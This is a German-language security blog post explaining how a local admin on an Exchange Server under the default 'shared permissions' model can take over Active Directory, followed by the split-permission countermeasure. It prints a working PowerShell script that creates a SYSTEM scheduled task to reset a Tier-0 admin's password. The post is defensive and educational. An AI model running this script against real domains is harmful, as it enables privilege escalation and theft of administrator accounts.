Exchange Server haben extrem hohe Rechte in einer AD-Infrastruktur per default. Details dazu könnt ihr euch in diesem Beitrag von mir ansehen: https://www.ws-its.de/exchange-split-permission/ Darin beschreibe ich, wie diese Rechte konkret aussehen. Hier geht es jetzt aber um die dunkle Seite – Wie kann ein Angreifer einen Exchange Server missbrauchen, um die Kontrolle über das AD zu übernehmen?
Inhaltsverzeichnis
Der gefühlte Schutz
Ich habe mich mit meiner T1-Kennung auf einem Exchange Server angemeldet. Diese Kennung hat im Tier-0 keine Rechte. Das Tier-0 gehört zu meinen Domain Admins. Wenn ein Angreifer meine T1-Kennung kompromittiert, kommt er damit nicht an mein Active Directory heran. Ein Passwortwechsel ist nicht möglich:
Das Passwort wurde nicht geändert:
Damit sind wir doch sicher, oder?
Der “Hack”
Aber im Berechtigungsmodell “shared permissions” hat der Exchange Server diese Berechtigung! Das Computerkonto hat unter Anderem die Berechtigung für Password-Resets. Nur wie bringt ein lokaler Admin einen Server dazu, so etwas zu tun? Natürlich mit dem Boardmittel “geplante Aufgabe”. Diese kann er selber erstellen, die Aktion dabei passend definieren, als Account das System eintragen und die Aufgabe starten:
$argument = '-command "&{ '
$argument += "`$pwd = ConvertTo-SecureString -String 'Pa@@w0rdPa@@w0rd' -AsPlainText -Force;"
$argument += "Set-ADAccountPassword -Identity 'stephan-t0' -Reset -NewPassword `$pwd"
$argument += ' }"'
$a = New-ScheduledTaskAction "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe" -Argument $argument
$t = New-ScheduledTaskTrigger -AtStartup
$p = New-ScheduledTaskPrincipal -UserID "system" -LogonType "Interactive"
Register-ScheduledTask -TaskName "Reset-Password" -Action $a -Trigger $t -Principal $p -ErrorAction Stop | Out-Null
Start-ScheduledTask -TaskName "Reset-Password"
UnRegister-ScheduledTask -TaskName "Reset-Password"
Die dabei erstellte Aufgabe schaut dann so aus:
Das Passwort wurde geändert:
Der T1-Admin “kennt” nun das Passwort des T0-Admins… und kann es damit auch nutzen
Die Gegenmaßnahme
Hier hilft nur die Entflechtung der Berechtigungen des Modells “shared permission”. Wie das genau geht, ist ebenfalls in meinem Beitrag https://www.ws-its.de/exchange-split-permission/ zu sehen. Wenn das Modell “AD split permission”, also die volle Trennung durchgeführt wurde, dann wird der Angriff nicht mehr möglich sein, denn der Exchange Server hat nun die erforderlichen Rechte nicht mehr:
Zusätzlich muss aber noch diese Mitgliedschaft entfernt werden:
Fazit
Für Angreifer gibt es jede Menge Exploits für die vielen Schwachstellen vom Exchange Server. Während wir auf der einen Seite versuchen sollten, die Server immer auf dem aktuellen Stand zu halten, dürfen wir aber nicht vergessen, wie einfach es für einen Angreifer sein kann, mit dem Exchange das gesamte Active Directory zu übernehmen. Uns bleibt nur die Entfernung unnötiger Rechte durch Anwendung des Active Directory split permission models.
Stay tuned!